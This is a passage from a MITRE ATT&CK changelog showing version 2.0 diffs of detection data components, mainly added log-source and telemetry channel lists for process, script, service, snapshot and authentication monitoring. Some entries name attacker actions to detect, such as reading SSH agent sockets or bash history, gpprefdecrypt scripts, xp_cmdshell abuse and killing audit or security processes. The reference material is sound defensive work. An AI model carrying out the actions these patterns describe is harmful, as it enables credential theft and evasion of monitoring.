executing scripts/binaries outside policy'}, {'name': 'EDR:hunting', 'channel': 'Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode', 'channel': 'ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads'}, {'name': 'etw:Microsoft-Windows-ClickOnce', 'channel': 'provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational', 'channel': 'Process session start/stop events for camera pipeline by unexpected executables'}, {'name': 'linux:osquery', 'channel': "select: path LIKE '/dev/video%'"}, {'name': 'linux:osquery', 'channel': 'state=attached/debugged'}, {'name': 'macos:unifiedlog', 'channel': 'Code Execution & Entitlement Access'}, {'name': 'macos:unifiedlog', 'channel': 'Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID'}, {'name': 'macos:unifiedlog', 'channel': 'code signature/memory protection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with UID ≠ EUID'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with escalated privileges'}, {'name': 'AWS:CloudTrail', 'channel': 'cross-account or unexpected assume role'}, {'name': 'macos:unifiedlog', 'channel': 'log collect from launchd and process start'}, {'name': 'containerd:events', 'channel': 'Docker or containerd image pulls and process executions'}, {'name': 'linux:syslog', 'channel': 'Kernel or daemon warnings of downgraded TLS or cryptographic settings'}, {'name': 'macos:unifiedlog', 'channel': 'Modifications or writes to EFI system partition for downgraded bootloaders'}, {'name': 'macos:unifiedlog', 'channel': 'non-shell process tree accessing bash history'}, {'name': 'linux:osquery', 'channel': 'process metadata mismatch between /proc and runtime attributes'}, {'name': 'linux:osquery', 'channel': 'process environment variables containing LD_PRELOAD'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=400,403'}, {'name': 'macos:osquery', 'channel': 'Process Execution + Hash'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'process_start: EventHeader.ProcessId true parent vs reported PPID mismatch'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned/invalid signature modules or images loaded by msbuild.exe or its children'}, {'name': 'WinEventLog:Microsoft-Windows-DeviceGuard/Operational', 'channel': 'WDAC policy audit/block affecting msbuild.exe spawned payloads'}, {'name': 'WinEventLog:Microsoft-Windows-SmartAppControl/Operational', 'channel': 'Smart App Control decisions (audit/block) for msbuild.exe-launched executables'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Unsigned or untrusted modules loaded during JamPlus.exe runtime'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:37.873000+00:002025-10-21 15:14:35.331000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0020] Process Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0020', 'external_id': 'DC0020'}]
x_mitre_log_sources[{'name': 'auditd:SYSCALL', 'channel': 'rename, chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_MMAP'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting auditd process'}, {'name': 'macos:unifiedlog', 'channel': 'memory mapping'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=8'}, {'name': 'macos:osquery', 'channel': 'Memory Mappings'}, {'name': 'ebpf:tracepoints', 'channel': 'Runtime memory overwrite of argv[] memory region'}, {'name': 'etw:Microsoft-Windows-Kernel-Process', 'channel': 'Memory Modification / Unmapped module load or suspicious RWX allocations in the process space of a browser process'}, {'name': 'macos:unifiedlog', 'channel': 'Anomalous dyld dynamic library loads or RWX memory mappings in browser process'}, {'name': 'auditd:SYSCALL', 'channel': 'open, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL ptrace/mprotect'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_MMAP'}, {'name': 'macos:unifiedlog', 'channel': 'process, library load, memory operations'}, {'name': 'auditd:SYSCALL', 'channel': 'rename'}, {'name': 'linux:osquery', 'channel': 'Detection of bitwise operations or custom encryption functions in memory traces'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal memory operations (XOR/bitwise loops) during archive generation'}, {'name': 'auditd:memprotect', 'channel': 'change from PROT_READ|PROT_WRITE to PROT_EXEC'}, {'name': 'linux:procfs', 'channel': '/proc/[pid]/maps, /proc/[pid]/mem'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:43.915000+00:002025-10-21 15:14:35.747000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0033] Process Termination

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0033', 'external_id': 'DC0033'}]
x_mitre_log_sources[{'name': 'Process', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=5'}, {'name': 'linux:syslog', 'channel': 'Unexpected termination of daemons or critical services not aligned with admin change tickets'}, {'name': 'macos:osquery', 'channel': 'process_termination: Unexpected termination of processes tied to vulnerable or high-value services'}, {'name': 'esxi:hostd', 'channel': 'Log entries indicating VM powered off or forcibly terminated'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal process killed (killall Terminal) immediately after sudoers modification'}, {'name': 'auditd:SYSCALL', 'channel': 'exit_group'}, {'name': 'macos:unifiedlog', 'channel': 'process.*exit.*code'}, {'name': 'linux:osquery', 'channel': 'unexpected termination of syslog or rsyslog processes'}, {'name': 'auditd:SYSCALL', 'channel': 'Process segfault or abnormal termination after invoking vulnerable syscall sequence'}, {'name': 'auditd:SYSCALL', 'channel': 'kill syscalls targeting logging/security processes'}, {'name': 'macos:unifiedlog', 'channel': 'Termination of syspolicyd or XProtect processes'}, {'name': 'docker:runtime', 'channel': 'Termination of monitoring sidecar or security container'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:34.519000+00:002025-10-21 15:14:36.181000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0104] Response Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0104', 'external_id': 'DC0104'}]
x_mitre_log_sources[{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious changes in TLS certificate responses or redirected domains'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:36.394000+00:002025-10-21 15:14:40.412000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0106] Response Metadata

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0106', 'external_id': 'DC0106'}]
x_mitre_log_sources[{'name': 'Internet Scan', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Altered response metadata or blocked content based on user-agent or geolocation'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--38fe306c-bdec-4f3d-8521-b72dd32dbd17
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:13:39.602000+00:002025-10-21 15:14:40.350000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0001] Scheduled Job Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0001', 'external_id': 'DC0001'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4698'}, {'name': 'linux:syslog', 'channel': 'Execution of non-standard script or binary by cron'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'EventCode=106'}, {'name': 'linux:osquery', 'channel': 'crontab, systemd_timers'}, {'name': 'macos:osquery', 'channel': 'launchd_jobs'}, {'name': 'esxi:vmkernel', 'channel': 'Startup script and task execution logs'}, {'name': 'kubernetes:apiserver', 'channel': 'verb=create, resource=cronjobs, group=batch'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'process: crontab edits, launch of cron job'}, {'name': 'macos:osquery', 'channel': 'file_events - cron, launchd'}, {'name': 'esxi:cron', 'channel': 'execution of scheduled job'}, {'name': 'esxi:hostd', 'channel': 'task creation events'}, {'name': 'macos:cron', 'channel': 'cron/launchd'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4699'}, {'name': 'linux:cron', 'channel': 'Scheduled execution of unknown or unusual script/binary'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:43.635000+00:002025-10-21 15:14:35.814000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0005] Scheduled Job Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0005', 'external_id': 'DC0005'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'linux:cron', 'channel': '/var/log/syslog or journalctl'}, {'name': 'fs:fileevents', 'channel': '/Library/LaunchDaemons/*.plist, ~/Library/LaunchAgents/*.plist'}, {'name': 'WinEventLog:TaskScheduler', 'channel': 'Task registration/execution shortly after a time discovery event'}, {'name': 'linux::cron', 'channel': 'crontab or at job created within TimeWindow post time discovery'}, {'name': 'macos:unifiedlog', 'channel': 'New/modified launchd plist (persistence/scheduling) within TimeWindow after time query'}, {'name': 'esxi:syslog', 'channel': '/var/log/vpxa.log task invocations tied to time configuration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=106, 200'}, {'name': 'linux:cron', 'channel': 'cron activity'}, {'name': 'macos:launchd', 'channel': 'launchd.plist and logs'}]
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:56.271000+00:002025-10-22 19:03:38.549000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_domainsics-attack

[DC0012] Scheduled Job Modification

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0012', 'external_id': 'DC0012'}]
x_mitre_log_sources[{'name': 'Scheduled Job', 'channel': 'None'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/var/log/audit/audit.log'}, {'name': 'm365:exchange', 'channel': 'Remove-InboxRule, Clear-Mailbox'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4702'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:40.267000+00:002025-10-21 15:14:38.292000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0029] Script Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0029', 'external_id': 'DC0029'}]
x_mitre_log_sources[{'name': 'Script', 'channel': 'None'}, {'name': 'm365:office', 'channel': 'VBA auto_open, auto_close, or document_open events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "python"\''}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1502, 1503'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "wscript" OR "vbs"\''}, {'name': 'macos:unifiedlog', 'channel': 'osascript or AppleScript invocation modifying UI'}, {'name': 'networkdevice:runtime', 'channel': 'runtime'}, {'name': 'macos:unifiedlog', 'channel': 'log'}, {'name': 'esxi:vmkernel', 'channel': 'boot'}, {'name': 'macos:unifiedlog', 'channel': "AppleScript creating login item via 'System Events' dictionary"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'WinEventLog:Application', 'channel': 'Stored procedure creation, modification, or xp_cmdshell invocation via SQL logs or SQL Server auditing'}, {'name': 'ApplicationLogs:SQL', 'channel': 'Stored procedure creation or modification with shell invocation (e.g., system(), exec())'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=launchservices'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Set-ADUser or Set-ADAuthenticationPolicy with MFA attributes disabled'}, {'name': 'EDR:scriptblock', 'channel': 'Process Tree + Script Block Logging'}, {'name': 'linux:syslog', 'channel': 'boot logs'}, {'name': 'm365:defender', 'channel': 'ScriptBlockLogging + AMSI'}, {'name': 'macos:unifiedlog', 'channel': 'log stream with predicate \'eventMessage CONTAINS "osascript"\''}, {'name': 'etw:Microsoft-Antimalware-Scan-Interface', 'channel': 'Amsi/Script content + API verdicts during in-memory staging'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=4016,5312'}, {'name': 'auditd:PROCTITLE', 'channel': 'scripting loop invoking sleep/ping'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Scripts with references to XML parsing, AES decryption, or gpprefdecrypt logic'}, {'name': 'macos:syslog', 'channel': 'system.log, asl.log'}, {'name': 'macos:osquery', 'channel': 'exec: Unexpected execution of osascript or AppleScript targeting sensitive apps'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.Security or com.apple.applescript'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/runCommand/action: Abnormal initiation of Azure RunCommand jobs or PowerShell/Bash payloads'}, {'name': 'EDR:AMSI', 'channel': 'Malicious inline C#/script blobs embedded in MSBuild projects if intercepted by AMSI-aware loaders (rare but possible via chained LOLBins)'}, {'name': 'macos:unifiedlog', 'channel': 'osascript, AppleScript, or Python execution triggered immediately after HID connection'}, {'name': 'm365:unified', 'channel': 'Scripted Activity'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--12c1e727-7fa4-49b6-af81-366ed2ce231e
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:12:46.164000+00:002025-10-21 15:14:36.018000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0060] Service Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0060', 'external_id': 'DC0060'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7036'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'creation or modification of systemd services'}, {'name': 'macos:osquery', 'channel': 'Process Events and Launch Daemons'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7045'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=7045'}, {'name': 'linux:osquery', 'channel': 'newly registered unit file with ExecStart pointing to unknown binary'}, {'name': 'macos:unifiedlog', 'channel': 'creation or loading of new launchd services'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4697'}, {'name': 'linux:syslog', 'channel': 'systemctl start/enable with uncommon binary paths'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7031, 7034'}, {'name': 'macos:osquery', 'channel': 'launch_daemons'}, {'name': 'macos:unifiedlog', 'channel': 'launchd loading new LaunchDaemon or changes to existing daemon configuration'}, {'name': 'macos:osquery', 'channel': 'detection of new launch agents with suspicious paths or unsigned binaries'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'containerLogs:systemd_unit_files', 'channel': 'unit file referencing container binary with persistent flags'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:54.408000+00:002025-10-21 15:14:36.315000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0041] Service Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0041', 'external_id': 'DC0041'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:sysmon', 'channel': 'EventCode=4'}, {'name': 'linux:syslog', 'channel': 'service stopped messages'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl disable or bootout calls'}, {'name': 'esxi:hostd', 'channel': 'Stop VM or disable service events via vim-cmd'}, {'name': 'linux:syslog', 'channel': 'auditd service stopped or disabled'}, {'name': 'macos:osquery', 'channel': 'launchd'}, {'name': 'linux:osquery', 'channel': 'scheduled/real-time'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.launchservices'}, {'name': 'esxi:hostd', 'channel': 'registers services with legitimate-sounding names'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7035'}, {'name': 'linux:syslog', 'channel': 'Service restart with modified executable path'}, {'name': 'macos:unifiedlog', 'channel': 'Observed loading of new LaunchAgent or LaunchDaemon plist'}, {'name': 'kubernetes:audit', 'channel': 'seccomp or AppArmor profile changes'}, {'name': 'WinEventLog:System', 'channel': 'Service stopped or RecoveryDisabled set via REAgentC'}, {'name': 'esxi:hostd', 'channel': 'Service events'}, {'name': 'WinEventLog:WinRM', 'channel': 'EventCode=6'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'delete: Modification of systemd unit files or config for security agents'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of system configuration profiles affecting security tools'}, {'name': 'kubernetes:audit', 'channel': 'kubectl delete or patch of security pods/admission controllers'}, {'name': 'networkdevice:config', 'channel': 'write: Startup configuration changes disabling security checks'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:39:52.137000+00:002025-10-21 15:14:36.382000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0065] Service Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0065', 'external_id': 'DC0065'}]
x_mitre_log_sources[{'name': 'Service', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-IIS-Configuration', 'channel': 'Module or ISAPI filter registration events'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=7040'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:57.700000+00:002025-10-21 15:14:37.211000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0057] Snapshot Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0057', 'external_id': 'DC0057'}]
x_mitre_log_sources[{'name': 'esxi:vmkernel', 'channel': 'snapshot create/write events'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/SNAPSHOTS/WRITE'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:08.504000+00:002025-10-21 15:14:39.640000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0049] Snapshot Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0049', 'external_id': 'DC0049'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'DeleteSnapshot'}, {'name': 'esxi:hostd', 'channel': 'snapshot.removeall or snapshot file deletion'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:05.200000+00:002025-10-21 15:14:39.893000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0047] Snapshot Enumeration

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0047', 'external_id': 'DC0047'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:18.124000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0062] Snapshot Metadata

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0062', 'external_id': 'DC0062'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'DescribeSnapshots'}, {'name': 'gcp:audit', 'channel': 'compute.disks.insert with sourceSnapshot parameter'}, {'name': 'AWS:CloudTrail', 'channel': 'CopySnapshot'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:49:42.387000+00:002025-10-21 15:14:40.482000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0058] Snapshot Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0058', 'external_id': 'DC0058'}]
x_mitre_log_sources[{'name': 'AWS:CloudTrail', 'channel': 'ModifySnapshotAttribute'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--6d7de3b7-283d-48f9-909c-60d123d9d768
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:15:11.682000+00:002025-10-21 15:14:39.957000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0052] Social Media

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0052', 'external_id': 'DC0052'}]
x_mitre_log_sources[{'name': 'Persona', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--3bef4799-906c-409c-ac00-3fb7a1e352e6
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:50.453000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0002] User Account Authentication

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0002', 'external_id': 'DC0002'}]
x_mitre_log_sources[{'name': 'User Account', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4625'}, {'name': 'saas:okta', 'channel': 'session.impersonation.start'}, {'name': 'Okta:SystemLog', 'channel': 'eventType: user.authentication.sso, app.oauth2.token.grant'}, {'name': 'azure:signinlogs', 'channel': 'Success logs from high-risk accounts'}, {'name': 'networkdevice:syslog', 'channel': 'config access, authentication logs'}, {'name': 'ESXiLogs:authlog', 'channel': 'Unexpected login followed by encoding commands'}, {'name': 'saas:okta', 'channel': 'Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira'}, {'name': 'NSM:Connections', 'channel': 'Accepted password or publickey for user from remote IP'}, {'name': 'macos:unifiedlog', 'channel': 'successful sudo or authentication for account not normally associated with admin actions'}, {'name': 'esxi:vpxa', 'channel': 'user login from unexpected IP or non-admin user role'}, {'name': 'm365:signin', 'channel': 'Sign-in from anomalous location or impossible travel condition'}, {'name': 'networkdevice:syslog', 'channel': 'User privilege escalation to level 15/root prior to destructive commands'}, {'name': 'networkdevice:syslog', 'channel': 'authorization/accounting logs'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769,1200,1202'}, {'name': 'linux:syslog', 'channel': 'sudo/date/timedatectl execution by non-standard users'}, {'name': 'saas:audit', 'channel': 'Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.'}, {'name': 'azure:signinlogs', 'channel': 'Multiple MFA challenge requests without successful primary login'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests'}, {'name': 'auditd:AUTH', 'channel': 'pam_unix or pam_google_authenticator invoked repeatedly within short interval'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4768, 4769, 4770'}, {'name': 'NSM:Connections', 'channel': 'Repeated failed authentication attempts or replay patterns'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events'}, {'name': 'azure:signinlogs', 'channel': 'SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times'}, {'name': 'AWS:CloudTrail', 'channel': 'sts:GetFederationToken'}, {'name': 'm365:unified', 'channel': 'Delegated permission grants without user login event'}, {'name': 'saas:salesforce', 'channel': 'API login using access_token without login history'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithWebIdentity'}, {'name': 'azure:signinlogs', 'channel': 'Operation=UserLogin'}, {'name': 'esxi:auth', 'channel': 'interactive shell or SSH access preceding storage enumeration'}, {'name': 'NSM:Connections', 'channel': 'Successful login without expected MFA challenge'}, {'name': 'macos:unifiedlog', 'channel': 'Login success without MFA step'}, {'name': 'kubernetes:apiserver', 'channel': 'get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts'}, {'name': 'auditd:SYSCALL', 'channel': 'pam_authenticate, sshd'}, {'name': 'macos:unifiedlog', 'channel': 'log show --predicate \'eventMessage contains "Authentication"\''}, {'name': 'esxi:vpxd', 'channel': '/var/log/vmware/vpxd.log'}, {'name': 'azure:signinlogs', 'channel': 'Unusual Token Usage or Application Consent'}, {'name': 'networkdevice:syslog', 'channel': 'Failed and successful logins to network devices outside approved admin IP ranges'}, {'name': 'azure:signinlogs', 'channel': 'OperationName=SetDomainAuthentication OR Set-FederatedDomain'}, {'name': 'network:auth', 'channel': 'repeated successful authentications with previously unknown accounts or anomalous password acceptance'}, {'name': 'azure:signinlogs', 'channel': 'Sign-in with unfamiliar location/device + portal navigation'}, {'name': 'm365:signinlogs', 'channel': 'UserLoginSuccess'}, {'name': 'saas:salesforce', 'channel': 'Login'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive format command'}, {'name': 'networkdevice:syslog', 'channel': 'admin login events'}, {'name': 'networkdevice:syslog', 'channel': 'Privileged login followed by destructive command sequence'}, {'name': 'azure:signinlogs', 'channel': 'Login from newly created account'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of ssh, scp, or sftp using previously unseen credentials or keys'}, {'name': 'm365:unified', 'channel': 'login using refresh_token with no preceding authentication context'}, {'name': 'saas:googleworkspace', 'channel': 'API access without user login'}, {'name': 'WinEventLog:Security', 'channel': 